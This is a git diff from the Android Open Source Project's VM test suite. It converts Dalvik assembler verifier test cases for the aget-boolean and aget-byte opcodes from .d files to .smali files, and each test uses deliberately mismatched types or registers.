diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali
new file mode 100644
index 0000000..b6360e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_2.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZD)Z
+.registers 9
+
+       aget-boolean v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.d
deleted file mode 100644
index 07133df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_3.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZJ)Z
-.limit regs 9
-
-       aget-boolean v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali
new file mode 100644
index 0000000..2c9357e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_3.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZJ)Z
+.registers 9
+
+       aget-boolean v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.d
deleted file mode 100644
index 28f6cb1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_4.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali
new file mode 100644
index 0000000..a25a500
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_4.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.d
deleted file mode 100644
index e1c1ffe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_5.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali
new file mode 100644
index 0000000..e179797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_5.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.d
deleted file mode 100644
index ef79c81..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_6.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali
new file mode 100644
index 0000000..16857bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_6.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.d
deleted file mode 100644
index da3663c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_7.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali
new file mode 100644
index 0000000..1d5b498
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_7.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.d
deleted file mode 100644
index 5c36f5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_8.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZF)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali
new file mode 100644
index 0000000..3752ec0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_8.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZF)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.d
deleted file mode 100644
index cbd51e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_boolean_9.java
-.class public dot.junit.opcodes.aget_boolean.d.T_aget_boolean_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZI)Z
-.limit regs 9
-
-       aget-boolean v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali
new file mode 100644
index 0000000..ed7e03e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_9.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.d
deleted file mode 100644
index 2fa8a9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_1.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali
new file mode 100644
index 0000000..d258990
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_1.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.d
deleted file mode 100644
index 11eba1a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_2.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       const-wide v1, 1.0
-       aget-byte v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali
new file mode 100644
index 0000000..73eb50e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_2.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       const-wide v1, 1.0
+       aget-byte v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.d
deleted file mode 100644
index c2b426b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_3.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       const-wide v1, 1
-       aget-byte v0, v7, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali
new file mode 100644
index 0000000..705eaba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_3.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       const-wide v1, 1
+       aget-byte v0, v7, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.d
deleted file mode 100644
index 905f4b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_4.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali
new file mode 100644
index 0000000..1e9575a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_4.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.d
deleted file mode 100644
index b65b94e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_5.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
